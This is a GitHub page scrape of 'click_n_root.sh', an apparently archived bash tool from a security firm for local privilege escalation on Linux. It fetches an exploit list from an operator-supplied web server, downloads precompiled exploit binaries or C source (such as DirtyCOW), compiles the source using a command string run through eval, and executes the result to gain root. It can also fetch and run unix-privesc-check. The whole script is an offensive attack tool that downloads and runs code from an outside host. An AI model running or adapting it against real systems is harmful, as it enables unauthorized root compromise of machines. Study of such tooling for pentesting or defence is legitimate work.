This repository was archived by the owner on Jun 17, 2021. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 25
/
Copy pathclick_n_root.sh
215 lines (175 loc) · 4.94 KB
/
click_n_root.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
#!/bin/bash
GREEN='\033[1;32m'
WHITE='\033[1;37m'
RED='\033[0;31m'
NC='\033[0m' #No Colour
vNr="1.1"
COUNTER=0
COUNT=0
command=""
function version {
echo -e "${GREEN} ########################################"
echo -e "${GREEN} # ${RED}Click and Root ${GREEN}#"
echo -e "${GREEN} # ${NC}Copyright © evait Security ${GREEN}#"
echo -e "${GREEN} # ${NC}Thanks to DarkPringles ${GREEN}#"
echo -e "${GREEN} # #"
echo -e "${GREEN} # ${NC}Version ${vNr} ${GREEN}#"
echo -e "${GREEN} ########################################${NC}\n"
}
function helper {
echo -e "${NC}Usage:\n\t${GREEN}Start Webserver with click_n_root Folder\n\t${NC}click_n_root.sh <webserver(:port)/folder>"
echo -e "Example:\n${GREEN}\t./click_n_root.sh 192.168.0.1:80/click_n_root\n${NC}"
echo -e "Parameters:\n\t-h \t--help\tShows this help and exits"
echo -e "\t-v \t\tPrints version and exits\n"
}
function tester {
if [[ -z $1 ]]; then
echo -e "\n${RED}Server not reachable or Folder incomplete!${NC}\n"
exit
fi
}
if [[ "$1" == "-h" ]] || [[ "$1" == "--help" ]] ; then
helper
exit
fi
if [[ -z "$1" ]] ; then
version
helper
exit
fi
if [[ "$1" == "-v" ]]; then
version
exit
fi
version
server_test=$(curl -s $1)
tester $server_test
echo -e "[*] OS and Kernel Information:\n$(uname -mrs)\n"
list=$(curl -s $1/list.yml)
tester $list
# line after line reading of: list.yml
printf "\n%-6s %-20s %-35s %-30s\n" "N°" " Name" " Affected Kernel/Systems" " Additional Comments"
IFS=$'\n'
for i in $(echo -e "$list");
do
number=$(echo "$i" | cut -d '|' -f 1)
name=$(echo "$i" | cut -d '|' -f 2)
system=$(echo "$i" | cut -d '|' -f 3)
comment=$(echo "$i" | cut -d '|' -f 4)
printf "\n%-6s %-20s %-35s %-30s" "[$number]" $name $system $comment
let COUNTER=COUNTER+1
done
echo -e "\n------------------------------------------------------------------------------------------------"
echo "[88] Unix Privilege Escalation Check Script"
echo "[99] Source download and compile directly"
echo -e "${GREEN}[*] Choose your Exploit(Number): ${NC}"
read nr
echo ""
# If Unix Privilege Escalation Check Sript is choosen
if [ $nr -eq 88 ]
then
cd /tmp/
echo -e "${GREEN}[*] Downloading Script ...${NC}"
curl -O $1/unix-privesc-check
echo -e "${GREEN}[*] Set Permissions ...${NC}"
chmod 777 unix-privesc-check
echo -e "${GREEN}[*] Execute Script ... wait for finish ...${NC}"
./unix-privesc-check standard >> output.txt
echo -e "${GREEN}[*] Execution completed. Output file is: output.txt${NC}"
echo -e "${GREEN}[*] Cleaning directory ...${NC}"
rm -f unix-privesc-check
echo -e "${GREEN}[*] Searching for problems ...${NC}"
echo ""
cat output.txt | grep WARNING:
exit
fi
# Direct local compile of Exploits
if [ $nr -eq 99 ]
then
echo -e "${GREEN}[*]Choose Exploit to download and compile: ${NC}"
read src
echo ""
if [ $src -gt $COUNTER ]
then
echo -e "${RED}[!]${NC} No Exploit with N° $src found!\tExiting!"
exit
fi
echo -e "${GREEN}[*] Creating Folder /tmp/down${NC}"
mkdir /tmp/down
echo -e "${GREEN}[*] Downloading Exploit to /tmp/down${NC}"
curl $1/$src/exploit.c > /tmp/down/exploit.c
for i in $(echo -e "$list");
do
let COUNT=COUNT+1
if [ $COUNT -eq $src ]
then
command=$(echo "$i" | cut -d '|' -f 5)
cd /tmp/down
echo -e "${GREEN}[*] Compile Exploit with $command${NC}"
eval $command
echo -e "${GREEN}[*] Executing exploit${NC}"
chmod +x exploit
# Exploit needs special arguments
if [ $src -eq 12 ]
then
./exploit -t 127.0.0.1
elif [ $src -eq 2 ]
then
./exploit pokeball milltank
else
./exploit
fi
fi
done
fi
## Loading precompiled Exploit (only x64 and x86)
arch=$(uname -m)
if [ $nr -gt $COUNTER ]
then
echo -e "${RED}[!]${NC} No Exploit with N° $src found! Exiting!"
exit
fi
echo -e "${GREEN}[*] Creating Folder /tmp/down${NC}"
mkdir /tmp/down
echo -e "${GREEN}[*] Found Architecture $arch ${NC}"
echo -e "${GREEN}[*] Downloading pre-compiled exploit to /tmp/down${NC}"
# Architecture: 64 Bit
if [ "$arch" = "x86_64" ]
then
cd /tmp/down
curl -O $1/$nr/exploit_64
echo -e "${GREEN}[*] Executing Exploit ...${NC}"
chmod +x exploit_64
# Exploit needs special arguments
if [ $nr -eq 12 ]
then
./exploit_64 -t 127.0.0.1
elif [ $nr -eq 2 ]
then
./exploit_64 pokeball milltank
else
./exploit_64
fi
#Architecture: 32 Bit
elif [ "$arch" = "i386" ]
then
cd /tmp/down
curl -O $1/$nr/exploit_32
echo -e "${GREEN}[*] Executing Exploit ...${NC}"
chmod +x exploit_32
# Exploit needs special arguments
if [ $nr -eq 12 ]
then
./exploit_32 -t 127.0.0.1
elif [ $nr -eq 2 ]
then
./exploit_32 pokeball milltank
else
./exploit_32
fi
else
#No supported Architecture found
echo -e "[${RED}!${NC}] Unsupported Architecture found! Choose direct compile next Time!\Exiting!"
fi
#printf "\n%-3s %-20s %-35s %-30s\n" "01" "DirtyCOW AddUser" "Ubuntu <4.4/<3.13; Debian <4.7.8" "default: evait:kill"
exit